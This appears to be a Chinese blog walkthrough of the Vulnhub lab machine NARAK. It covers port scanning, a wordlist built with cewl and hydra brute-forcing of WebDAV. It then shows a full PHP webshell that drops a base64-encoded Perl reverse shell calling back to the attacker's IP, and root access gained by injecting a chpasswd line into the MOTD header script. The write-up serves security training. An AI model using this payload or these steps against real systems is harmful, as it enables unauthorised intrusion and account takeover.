Vulnhub靶机实战-NARAK

声明

好好学习,天天向上

搭建

用vmware打开,都调成NAT或者都调成桥接

渗透

存活扫描,发现目标

arp-scan -l

端口扫描

nmap -T4 -A 192.168.31.52 -p 1-65535 -oN nmap.A

在这里插入图片描述

开启端口

发现开启80,22

访问80

http://192.168.31.52

看了首页,看见了地狱一样,不禁让我想起了最近的电视剧《风声》里面的地狱变

扫目录吧

python3 dirsearch.py -u 192.168.31.52

开的目录不是很多

在这里插入图片描述

使用cewl收集社工字典,爬虫会根据指定的URL和深度进行爬取,然后打印出可用于密码破解的字典

cewl 192.168.31.52/ -w pass.dic

访问webdav,需要密码

http://192.168.31.52/webdav/

在这里插入图片描述

hydra爆破一下

hydra -L pass.dic -P pass.dic 192.168.31.52 http-get /webdav

爆破出

yamdoot
Swarg

在这里插入图片描述

登录,还是webdav

在这里插入图片描述

webdav是个啥?

WebDAV (Web-based Distributed Authoring and Versioning) 一种基于 HTTP 1.1协议的通信协议。它扩展了HTTP 1.1,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法,使应用程序可对Web Server直接读写,并支持写文件锁定(Locking)及解锁(Unlock),还可以支持文件的版本控制。

使用cadaver对webdav进行读写,既然是读写那就和上传下载的webshell扯到一起了,思路如下:

1.kali监听6666端口

2.使用cadaver连接到webdav库

3.写好php反连脚本并上传

4.访问php

1.kali监听6666端口

nc -lvvp 6666

2.使用cadaver连接到webdav库

cadaver http://192.168.31.52/webdav
yamdoot
Swarg

3.写好php反连脚本并上传

shell.php,内容如下,自行修改反弹到kali的IP和端口

<?php 
function which($pr) { 
$path = execute("which $pr"); 
return ($path ? $path : $pr); 
} 
function execute($cfe) { 
$res = ''; 
if ($cfe) { 
if(function_exists('exec')) { 
@exec($cfe,$res); 
$res = join("\n",$res); 
} elseif(function_exists('shell_exec')) { 
$res = @shell_exec($cfe); 
} elseif(function_exists('system')) { 
@ob_start(); 
@system($cfe); 
$res = @ob_get_contents(); 
@ob_end_clean(); 
} elseif(function_exists('passthru')) { 
@ob_start(); 
@passthru($cfe); 
$res = @ob_get_contents(); 
@ob_end_clean(); 
} elseif(@is_resource($f = @popen($cfe,"r"))) { 
$res = ''; 
while(!@feof($f)) { 
$res .= @fread($f,1024); 
} 
@pclose($f); 
} 
} 
return $res; 
} 
function cf($fname,$text){ 
if($fp=@fopen($fname,'w')) { 
@fputs($fp,@base64_decode($text)); 
@fclose($fp); 
} 
} 
$yourip = "192.168.31.64"; 
$yourport = '6666'; 
$usedb = array('perl'=>'perl','c'=>'c'); 
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". 
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". 
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". 
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". 
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". 
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". 
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; 
cf('/tmp/.bc',$back_connect); 
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &"); 
?>

准备好php后,webdav命令行执行

put shell.php

在这里插入图片描述

4.访问php

在这里插入图片描述

在这里插入图片描述

可以看到kali已经反弹shell,执行下面的命令进入python交互式

python3 -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

进入home目录翻一翻,拿到user.txt,接下来需要拿root.txt了

在这里插入图片描述

在根目录的mnt下发现可疑脚本

在这里插入图片描述

接下来需要解密(brainfuck 解码)

https://www.splitbrain.org/services/ook

输入

--[----->+<]>---.+++++.+.+++++++++++.--.+++[->+++<]>++.++++++.--[--->+<]>--.-----.++++.

拿到解密后的明文

chitragupt

在这里插入图片描述

得到用户

inferno/chitragupt

ssh登录

ssh inferno@192.168.31.52

在这里插入图片描述

现在我们要通过修改ssh登陆时的欢迎信息对root密码进行修改,修改的文件是00-header文件在/etc/update-motd.d目录下,执行

echo “echo ‘root:admin’ | sudo chpasswd” >> /etc/update-motd.d/00-header

显示没有权限,我就直接vi

vi /etc/update-motd.d/00-header

加入,可以保存

echo ‘root:admin’ | sudo chpasswd

在这里插入图片描述

重新登录inferno用户,su root刚刚更改的密码:

在这里插入图片描述

总结

1.信息收集

端口发现80和22

通过80,发现有webdav,使用cewl扫描页面生成社工字典

2.web权限

使用hydra对webdav进行爆破,拿到webdav的web权限

3.shell权限

拿到webdav的用户名和密码后,使用cadaver登录webdav的数据库,上传一个反弹shell脚本,web访问该脚本后,拿到shell权限

4.权限维持

拿到shell后,查阅文件,发现另一个账户的密码,使用ssh进行连接登录,拿到flag

5.提权

修改ssh的欢迎文件,加入修改root密码的脚本,再次使用ssh连接,就修改了root的密码,su到root,拿到flag

  • 5
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值